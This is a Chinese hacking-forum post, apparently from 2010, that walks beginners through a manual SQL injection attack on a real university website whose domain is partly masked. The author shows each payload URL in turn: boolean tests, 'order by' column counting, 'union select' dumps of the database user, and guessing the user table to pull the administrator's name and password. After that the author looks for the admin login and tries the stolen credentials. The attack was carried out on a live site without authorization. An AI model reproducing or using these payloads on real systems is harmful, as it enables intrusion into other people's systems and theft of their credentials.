WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2303查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-7 12:19:52 |显示全部楼层
对某大学做了一次php的纯手工注入,主要是指导新手学习php手工注入的。

新手留下,老鸟路过。


首先在某大学网站上用google hack找到一个php注入点:http://www.**u.edu.cn/notice/newswin2.php?id=1532。

我就不在id值后面加撇了,直接加and 1=1,看看返回页面是否正常。返回页面如图1.。表明返回正常。






然后把1=1改成1=2,也就是让查询语句变成逻辑假,看一下返回页面。如图2.返回页面错误。



那现在两个页面不一样,我们基本判定存在php注入。
下一步就是用order by语句来猜解当前数据库的字段数,为下一步用union联合查询做准备。相关语句为http://www.**u.edu.cn/notice/newswin2.php?id=1532 order by 1.Order by后面的数字代表的是按照当前数据库所查询表的第几个字段进行排序,所以只要order by后面的数字小于字段数,就会返回正常页面。
我们提交http://www.**u.edu.cn/notice/newswin2.php?id=1532 order by 1.,就是按照第一个字段进行排序,肯定返回正常页面。如图3.



那我们接着增大这个数字进行提交。当我提交到http://www.**u.edu.cn/notice/newswin2.php?id=1532 order by 8的时候,返回了错误页面。而提交到7的时候返回页面正常,得出结论:共有7个字段。
好的,这一步开始用union联合查询爆一下都有哪些字段在网页上显示了。提交http://www.**u.edu.cn/notice/newswin2.php?id=1532 and 1=2 union select 1,2,3,4,5,6,7。显示页面如图4。




下一步在网页显示的几个字段上找到文本类型的字段,因为你要是把文本显示在数字型的字段肯定要报错的。这里是显示是4对应的位置。那好,我们看一下当前用户是谁,提交http://www.**u.edu.cn/notice/newswin2.php?id=1532 and 1=2 union select 1,2,3,user(),5,6,7,页面如图5.



爆出当前用户reader@localhost,貌似不是root权限。如果是root权限的用户,那我们可以尝试用loadfile()这个函数爆网站源码,得到敏感信息。这里不是root权限,那我们就来猜解管理员账号和密码。
那现在我们来猜一下表。提交http://www.**u.edu.cn/notice/newswin2.php?id=1532 and 1=2 union select 1,2,3,4,5,6,7 from user,如果返回页面正常,说明存在这个表。我最后测试出的表名为user,如图6



那现在我来确定一下这个账号是不是管理员。因为管理员的id一般都是1,所以用http://www.**u.edu.cn/notice/newswin2.php?id=1532 and 1=2 union select 1,2,3,userid,5,6,7 from user来爆一下id值。如图7,Id值为1,应该是管理员的了。




这一步来猜解管理员账号和密码。把http://www.**u.edu.cn/notice/newswin2.php?id=1532 and 1=2 union select 1,2,3,4,5,6,7 from user中位置4换成常见的用户字段名或密码字段名,如果返回页面正常,说明存在这个字段。当然收手工检测你要有耐心。经过我的反复测试,管理员账号字段为name,密码字段为passwd。提交http://www.**u.edu.cn/notice/newswin2.php?id=1532 and 1=2 union select 1,2,3,name,5,6,7 from user,返回页面如图8.



提交http://www.**u.edu.cn/notice/newswin2.php?id=1532 and 1=2 union select 1,2,3,passwd,5,6,7 from user,返回界面如图9.



这样管理员的账号和密码就得出来了。现在我们来找找后台,在链接后面加个admin,成功跳出登陆窗口,虽然有点诡异,如图10。



用得到的管理员账号和密码登陆,不过这里这个大学的站貌似做了ip登陆限制了,没能登上去。但还是把这手工注入的流程贴出来,新手看一下吧,希望有所帮助。把php后缀改成Php,返回错误页面,说明是unix的,因为unix大小写敏感,对unix不懂,至于对这个站其他方法的渗透我就不说了,因为我想表达的就这些了。

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-3 19:20 , Processed in 0.067002 second(s), 16 queries .

返回顶部